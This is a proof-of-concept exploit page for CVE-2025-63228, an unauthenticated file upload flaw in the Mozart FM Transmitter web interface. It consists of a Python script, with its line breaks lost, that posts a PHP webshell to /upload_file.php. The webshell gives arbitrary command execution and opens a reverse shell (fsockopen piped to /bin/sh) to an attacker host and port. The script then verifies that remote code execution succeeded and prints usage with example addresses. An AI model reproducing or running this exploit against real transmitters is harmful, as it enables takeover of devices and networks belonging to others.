CVE-2025-63228 | Mozart FM Transmitter未授权文件上传漏洞

import requests import sys # CVE-2025-63228 PoC - Mozart FM Transmitter Unauthenticated File Upload # Target: Mozart FM Transmitter WEBMOZZI-00287 # Endpoint: /upload_file.php # Impact: Remote Code Execution via PHP Webshell Upload def exploit(target_url, lhost, lport): """ Exploit the unauthenticated file upload vulnerability in Mozart FM Transmitter Args: target_url: Base URL of the target (e.g., http://192.168.1.100) lhost: Attacker IP for reverse shell lport: Attacker port for reverse shell """ # Generate PHP webshell with reverse shell webshell_content = f"""<?php // CVE-2025-63228 - Mozart FM Transmitter Webshell // This webshell provides command execution capability if(isset($_GET['cmd'])) {{ $cmd = $_GET['cmd']; $output = shell_exec($cmd); echo "<pre>$output</pre>"; }} // Reverse shell functionality if(isset($_GET['reverse'])) {{ $sock = fsockopen("{lhost}", {lport}); $proc = proc_open("/bin/sh", array(0=>$sock, 1=>$sock, 2=>$sock), $pipes); proc_close($proc); }} ?>""" # Prepare the exploit upload_url = f"{target_url}/upload_file.php" files = { 'file': ('shell.php', webshell_content, 'application/x-php') } headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36' } print(f"[*] Exploiting CVE-2025-63228") print(f"[*] Target: {target_url}") print(f"[*] Uploading webshell to {upload_url}") try: # Send the malicious file upload request (no authentication required) response = requests.post(upload_url, files=files, headers=headers, timeout=10) if response.status_code == 200: # Determine the uploaded file location webshell_url = f"{target_url}/upload/shell.php" print(f"[+] Webshell uploaded successfully!") print(f"[+] Webshell URL: {webshell_url}") print(f"[+] Execute commands via: {webshell_url}?cmd=whoami") print(f"[+] Get reverse shell via: {webshell_url}?reverse=1") # Verify the webshell is accessible verify_response = requests.get(f"{webshell_url}?cmd=echo+CVE-2025-63228", timeout=10) if 'CVE-2025-63228' in verify_response.text: print("[+] Webshell verification successful - RCE achieved!") return True else: print(f"[-] Upload failed with status code: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 4: print(f"Usage: python {sys.argv[0]} <target_url> <lhost> <lport>") print(f"Example: python {sys.argv[0]} http://192.168.1.100 192.168.1.50 4444") sys.exit(1) target = sys.argv[1] lhost = sys.argv[2] lport = sys.argv[3] exploit(target, lhost, lport)